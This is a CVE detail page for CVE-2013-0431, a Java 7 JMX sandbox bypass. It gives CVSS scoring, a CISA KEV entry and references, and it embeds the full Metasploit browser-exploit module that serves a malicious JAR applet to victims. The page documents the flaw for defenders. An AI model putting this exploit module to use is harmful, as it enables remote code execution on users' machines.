CVE-2013-0431 : Detail

CVE-2013-0431

5.3
/
Medium
90.93%V3
Network
2013-01-31
14h10 +00:00
2025-02-10
19h50 +00:00
CVE.org
NVD
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CVE Descriptions

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 through Update 11, and OpenJDK 7, allows user-assisted remote attackers to bypass the Java security sandbox via unspecified vectors related to JMX, aka "Issue 52," a different vulnerability than CVE-2013-1490.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.
CWE-693 Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Oracle JRE Sandbox Bypass Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-05-24 22h00 +00:00

Action is due : 2022-06-14 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 24539

Publication date : 2013-02-24 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet JMX Remote Code Execution', 'Description' => %q{ This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February of 2013. Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'Adam Gowdiak', # Vulnerability discovery 'SecurityObscurity', # Exploit analysis and deobfuscation 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0431' ], [ 'OSVDB', '89613' ], [ 'BID', '57726' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], [ 'URL', 'http://pastebin.com/QWU1rqjf' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 19 2013' )) end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i print_status("Sending JAR") send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } ) when /\/$/ print_status("Sending HTML") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_jar paths = [ [ "Exploit.ser" ], [ "Exploit.class" ], [ "B.class" ] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end return jar.pack end def generate_html html = <<-EOF <html> <script language="Javascript"> var _app = navigator.appName; if (_app == 'Microsoft Internet Explorer') { document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>'); } else { document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>'); } </script> </html> EOF return html end end

Products Mentioned

Configuraton 0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Configuraton 0

Oracle>>Openjdk >> Version 7

References

http://security.gentoo.org/glsa/glsa-201406-32.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDVSA-2013:095
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.us-cert.gov/cas/techalerts/TA13-032A.html
Tags : third-party-advisory, x_refsource_CERT
http://seclists.org/fulldisclosure/2013/Jan/142
Tags : mailing-list, x_refsource_FULLDISC
http://www.kb.cert.org/vuls/id/858729
Tags : third-party-advisory, x_refsource_CERT-VN
http://rhn.redhat.com/errata/RHSA-2013-0237.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=136439120408139&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2013-0247.html
Tags : vendor-advisory, x_refsource_REDHAT
http://seclists.org/fulldisclosure/2013/Jan/195
Tags : mailing-list, x_refsource_FULLDISC
http://marc.info/?l=bugtraq&m=136733161405818&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=136439120408139&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.securityfocus.com/archive/1/525387/30/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
http://marc.info/?l=bugtraq&m=136733161405818&w=2
Tags : vendor-advisory, x_refsource_HP